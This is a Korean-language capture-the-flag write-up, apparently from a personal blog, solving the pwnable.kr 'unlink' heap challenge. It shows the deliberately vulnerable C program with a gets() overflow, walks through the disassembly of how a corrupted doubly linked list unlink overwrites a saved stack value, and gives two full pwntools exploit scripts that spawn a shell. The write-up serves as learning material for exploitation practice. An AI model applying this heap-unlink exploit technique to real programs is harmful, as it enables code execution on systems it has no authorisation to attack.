cgy12306
[pwnable.kr] unlink 본문
[unlink]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}
unlink가 호출되기 전의 상황을 보면
이런 상황으로 되어있는데 unlink가 호출이 되면
이렇게 된다.
해당 소스코드를 보면
gets(A->buf);
이 부분에서 오버플로우가 일어난다.
a값을 17개 넣은순간 Segmentation fault가 뜨는데 B의 fd값이 변조돼서 그렇다.
메인함수를 디셈블해서 보면
마지막 부분에 ebp-04 지점의 값을 ecx에 넣고, 다시 해당 값에서 -0x4 한 지점의 값을 esp에 넣는다.
이 후 ret을 수행하게 된다.
ret은 현재 esp 값을 eip에 넣어서 수행을 하게 되는데 우리가 원하는 지점으로 갈 수 있다는 말이 된다.
unlink 함수 부분을 보자.
이 부분이 A->fd 값을 C로, C->bk 값을 A로 바꾸는 부분이다.
ebp+8부분을 보면 주소값이 들어가 있는데 이 주소는 B->fd의 주소이다.
다시 분석을 해보면
이 부분은 ebp-0x4 지점에다가 &B->fd + 0x4한 지점이 갖고 있는 값을 넣어라 라는 말이다.
즉, ebp-0x4에 B->bk 값을 넣어라 라는 뜻이 된다.
이 부분도 역시 위에처럼 ebp-0x8에 b->fd 값을 넣어라라는 뜻이다.
스택을 생각해보면
B->fd(C) | B->bk(A) | sfp | ret
이렇게 된다.
이 부분이 실질적으로 주소 교환이 이루어지는 부분이다.
B->fd를 따라가서 B->bk가 가지고 있는 값을 넣어라라는 뜻이다.
즉, C->fd에 A->fd 값을 넣어라라는 뜻이된다.
이 부분도 위처럼 A->fd에 C->fd 값을 넣어라라는 뜻이 된다.
우리가 오버플로우를 발생시켜서 B->fd 값을 변조 시킬 수 있으니 원하는 주소에 원하는 값을 넣을 수 있다는 말이 된다.
B->bk에 ebp-4의 주소를 넣고, B->fd에 특정 주소를 넣게 되면 unlink+38에 의해
[ebp-4] = 특정주소
이렇게 된다.
그러면 이제 우리는 B->fd에 어떤 값을 넣을지만 결정하면 된다.
다시 여기를 보면 ebp-0x4 지점의 값을 ecx에 넣고, ecx-0x4 지점의 값을 esp에 넣는다고 한다.
만약 ebp-0x4라는 지점에 B의 주소를 넣게 된다면 ecx값에는 B->fd값이 들어가고, B->fd의 주소에서 -0x4 한 지점의 값이 esp에 들어가게 된다.
그러면 우리는 &B->fd - 0x4 에 shell 주소를 넣으면 된다. 그리고 B->fd에 B의 주소값을 넣어주면 된다.
스택의 주소와 힙의 주소는 바이너리 시작할 때 알려준다.
바이너리에서 leak된 stack 주소와 ebp-0x4 지점의 거리는 0x10만큼 떨어져 있다.
다시 정리해보면 B->fd에 B의 주소, B->bk에 ebp-0x4의 주소, &B->fd - 0x4 지점에 shell 주소를 넣으면 된다.
from pwn import *
p = process('/home/unlink/unlink')
p.recvuntil('here is stack address leak: ')
stack = int(p.recv(10),16)
p.recvuntil('here is heap address leak: ')
heap = int(p.recv(10),16)
p.recv()
shell = 0x080484eb
payload = 'A'*12
payload += p32(shell)
payload += p32(heap + 0x18)
payload += p32(stack + 0x10)
p.sendline(payload)
p.interactive()
원래 의도한 페이로드는 아래와 같다고 한다.
from pwn import *
context.arch = 'i386' # i386 / arm
r = process(['/home/unlink/unlink'])
leak = r.recvuntil('shell!\n')
stack = int(leak.split('leak: 0x')[1][:8], 16)
heap = int(leak.split('leak: 0x')[2][:8], 16)
shell = 0x80484eb
payload = pack(shell) # heap + 8 (new ret addr)
payload += pack(heap + 12) # heap + 12 (this -4 becomes ESP at ret)
payload += '3333' # heap + 16
payload += '4444'
payload += pack(stack - 0x20) # eax. (address of old ebp of unlink) -4
payload += pack(heap + 16) # edx.
r.sendline( payload )
r.interactive()
'Wargame > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] memcpy (0) | 2020.01.27 |
---|---|
[pwnable.kr] blukat (0) | 2020.01.27 |
[pwnable.kr] asm (0) | 2020.01.27 |
[pwnable.kr] cmd2 (0) | 2020.01.27 |
[pwnable.kr] cmd1 (0) | 2020.01.27 |